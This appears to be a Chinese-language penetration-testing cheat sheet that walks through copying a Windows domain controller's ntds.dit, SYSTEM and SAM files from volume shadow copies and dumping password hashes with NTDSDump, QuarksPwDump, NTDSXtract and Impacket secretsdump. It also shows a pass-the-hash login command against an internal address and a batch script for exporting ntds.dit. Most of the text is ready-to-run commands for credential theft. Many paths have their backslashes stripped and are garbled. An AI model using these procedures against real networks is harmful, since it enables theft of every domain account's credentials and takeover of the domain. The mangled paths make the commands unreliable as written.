1.vsssown.vbs拷贝域数据库：
1.1上传vssown.vbs文件
上传cscript.exe和vssown.vbs到域服务器上
1.2创建快照
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNTDSParameters //得到ntds的默认路径：c: WindowsNTDS tds.dit cd 桌面 cscript //nologo vssown.vbs /start //启用 cscript //nologo vssown.vbs /status //查看运行状态 cscript //nologo vssown.vbs /create C //在C盘下创建副本卷影 cscript //nologo vssown.vbs /list >d:jy.txt //查看创建的快照信息并输出到d:jy.txt
1.3获取域据库ntds.dit
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy5windows tds tds.dit d: //拷贝ntds.dit到D盘，有时候ntds.dit不在默认路径，需要通过注册表查询到路径 copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy5windowssystem32configSYSTEM d: //拷贝system到D盘 copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy5windowssystem32configSAM d: //拷贝sam到D盘 cscript //nologo vssown.vbs /delete {B3475A72-86D2-48EC-A22F-6E8DBB82903D} //删除卷影
2.vshadow.exe拷贝域数据库：
vshadow.exe -exec=%ComSpec% C: //在C盘下创建副本卷影 copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy5windowssystem32configsystem d: copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy5windows tds tds.dit d: copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy5windowssystem32configSAM d:
3.vssadmin拷贝域数据库：
vssadmin create shadow /for=c： //在C盘下创建副本卷影 copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy5WindowsNTDS tds.dit d: tds.dit copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy5WindowsSystem32configSYSTEM d:system.hive copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy5windowssystem32configSAM d:sam
4.NTDSDump导出域数据库hash值：
4.1 ntsdump命令帮助
ntdsdump.exe <-f ntds.dit> <-k HEX-SYS-KEY | -s system.hiv> [-o out.txt] [-h] [-t JOHN|LC] -f ntds.dit路径 -k 可选的十六进制格式的SYSKEY -s 可选的system.hiv路径 -h 导出历史密码记录 -t 导出格式，LC或JOHN -o 导出到指定文件中
4.2 ntdsdump快速导出hash值
NTDSDump.exe -f ntds.dit -s SYSTEM -h -t john(或者lc) -o SecPulseHash.txt //快速导出HASH值
5.ntdsutil.exe + QuarksPwDump.exe导出hash值：
5.1quarkspwdump命令帮助
-dhl 导出本地哈希值 -dhdc导出内存中的域控哈希值 -dhd 导出域控哈希值，必须指定NTDS文件 -db 导出Bitlocker信息，必须指定NTDS文件 -nt 导出ntds文件 -hist 导出历史信息，可选项 -t 导出类型可选默认导出为John类型。 -o 导出文件到本地 QuarksPwDumpv0.2b.exe -dhl -o bk.txt //导出本地哈希值到当前目录的bk.tx quarks-pwdump.exe --dump-hash-domain --with-history //导出本机域控历史存储的hash值 quarks-pwdump.exe --dump-bitlocker --output c:itlocker.txt --ntds-file c: tds.dit
5.2创建快照：
ntdsutil snapshot "activate instance ntds" create quit quit
5.3 Ntdsutil挂载域快照:
ntdsutil snapshot "mount{a0455f6c-40c3-4b56-80a0-80261471522c}" quit quit 快照 {5e0d92d3-992d-42b9-bbd5-9c85e5dc7827} 已掛接為 C:$SNAP_201212082315_VOLUMEC$
5.4 复制快照
copy C:$SNAP_201212082315_VOLUMEC$windowsNTDS tds.dit c: tds.dit
5.5 卸载快照:
ntdsutil snapshot "unmount{5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}" quit quit
5.6 删除快照
ntdsutil snapshot "delete{5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}" quit quit ntsutil.exe +PWPR(Passcape Windows Password Recovery)
5.7ntdsutil导出ntds.dit和system
#ntdsutil
#snapshot
#activate instance ntds
#create
#mount {GUID}
copy c:{挂载点}WINDOWSNTDSNTDS.dit c:NTDS_saved.dit (可手动复制)(新窗口复制)
copy c:{挂载点}WINDOWSsystem32configsystem c:system
#unmount {GUID}
#delete {GUID}
#quit
#quit
最后通过PWPR(Passcape Windows Password Recovery)的GPU本地在线破解hash值
5.7 域控上执行导出hash值：
QuarksPwDump.exe --dump-hash-domain --ntds-file c: tds.dit --output SecPulseHash.txt //建议在域控制器上执行，不然会下载下来出错 QuarksPwDump.exe -dhd -hist -nt ntds.dit -o log.txt //修复离线下载的ntds.dit
5.8 导出system文件
reg save hklmsystem system.hive //导出system文件
5.9离线下载本地导出hash值
quarks-pwdump.exe --dump-hash-domain --ntds-file C:pentestNTDS.dit -sf C:pentestSYSTEM -o hashes.txt //离线导出ntds.dit的hash值
6.libesedb+ NtdsXtract导出域数据库hash值：
6.1 ubuntu上安装libesedb的先决条件：
sudo apt install autoconf automake autopoint libtool pkg-config //安装先决条件
6.2 安装libesedb：
git clone https://github.com/libyal/libesedb.git cd libesedb/ ./synclibs.sh ./autogen.sh ./configure make sudo make install //默认安装在/usr/local/bin下 ldconfig
6.3 分离ntds.dit数据库
root@kali:/usr/local/bin# esedbexport -m tables /opt/ntds.dit // 将ntds.dit和sam以及system下载到本地kali桌面中的hashdumpwork目录下，然后分离出数据表来，会在目录下生 成一个目录ntds.dit.export的文件夹
7.4安装NTDSXtract
wget https://github.com/csababarta/ntdsxtract/archive/e2fc6470cf54d9151bed394ce9ad3cd25be7c262.zip unzip e2fc6470cf54d9151bed394ce9ad3cd25be7c262.zip cd ntdsxtract-e2fc6470cf54d9151bed394ce9ad3cd25be7c262/ python setup.py install
7.5 ntds脚本导出hash值
root@kali:# python dsusers.py /usr/local/bin/ntds.dit.export/datatable.4 /usr/local/bin/ntds.dit.export/link_table.7 /root/Desktop/hashdumpwork --syshive /root/Desktop/SYSTEM --passwordhashes --lmoutfile /root/Desktop/lm-out.txt --ntoutfile /root/Desktop/nt-out.txt --pwdformat ophc（或者john）
7. Impacket's secretsdump导出域数据库hash值：
python secretsdump.py -ntds /opt/ntds.dit -system /opt/system.hive local
7.1 Impacket's secretsdump脚本域hash传递登录：
python secretsdump.py -hashes 0000000000000000000000000:f9bccbbbdkkkkkkddjjjkkjfjjggj bk/bk.org@192.168.1.100
8.附录
附录：批处理导出ntds.dit文件
setlocal @REM test if we are called by VSHADOW if NOT “%CALLBACK_SCRIPT%”==”” goto :IS_CALLBACK @REM @REM Get the source and destination path @REM set SOURCE_DRIVE_LETTER=%~d1 set SOURCE_RELATIVE_PATH=%~pnx1 set DESTINATION_PATH=%2 @REM @REM Create the shadow copy – and generate env variables into a temporary script. @REM @REM Then, while the shadow is still live @REM recursively execute the same script. @REM @echo …Determine the scripts to be executed/generated… set CALLBACK_SCRIPT=%~dpnx0 set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd @echo …Creating the shadow copy… %~dp0vshadow.exe -script=%TEMP_GENERATED_SCRIPT% -exec=%CALLBACK_SCRIPT% %SOURCE_DRIVE_LETTER% del /f %TEMP_GENERATED_SCRIPT% @goto :EOF :IS_CALLBACK setlocal @REM @REM This generated script should set the SHADOW_DEVICE_1 env variable @REM @echo …Obtaining the shadow copy device name… call %TEMP_GENERATED_SCRIPT% @REM @REM This should copy the file to the right location @REM @echo …Copying from the shadow copy to the destination path… copy “%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%” %DESTINATION_PATH%